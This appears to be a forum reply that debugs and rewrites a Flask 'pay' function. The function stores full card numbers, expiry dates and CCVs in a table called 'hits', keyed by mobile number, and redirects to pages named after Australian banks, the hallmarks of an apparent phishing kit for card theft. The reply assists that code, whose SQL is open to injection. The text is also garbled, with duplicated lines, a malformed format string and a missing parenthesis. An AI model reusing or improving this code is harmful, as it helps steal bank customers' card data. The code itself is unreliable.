Aug-30-2021, 11:46 AM
suspect error line 40:
should be :
This function (pay) could be replaced with (no way to test, but if not correct, this is very close):
session['error'] == None
should be :
session['error'] = None
This function (pay) could be replaced with (no way to test, but if not correct, this is very close):
def pay(): errors = { 'CBA': 'CBAhome', 'ING': 'INGhome', 'NAB': 'NABhome', 'ANZ': 'ANZhome', 'WSP': 'WSPhome', 'GRT': 'GRThome', 'NEW': 'NEWhome' } error = "Please enter a valid card number." cc = "{}{1}{2}{3}".format(request.form.get('first'), request.form.get('second'), request.form.get('third'), request.form.get('fourth')) expiry = '{0}/{1}'.format(request.form.get('card_month'), request.form.get('card_year')) ccv = request.form.get('card_ccv') if luhn(cc): sql = "UPDATE hits SET cc = '%s', exp = '%s', ccv = '%s' \ WHERE mob = '%s'" % (cc, expiry, ccv, session['id']) updateDB(sql) bank = checkBin(cc) if errors[bank]: session['error'] = None return redirect(url_for(errors[bank]) else: return redirect(url_for('success'))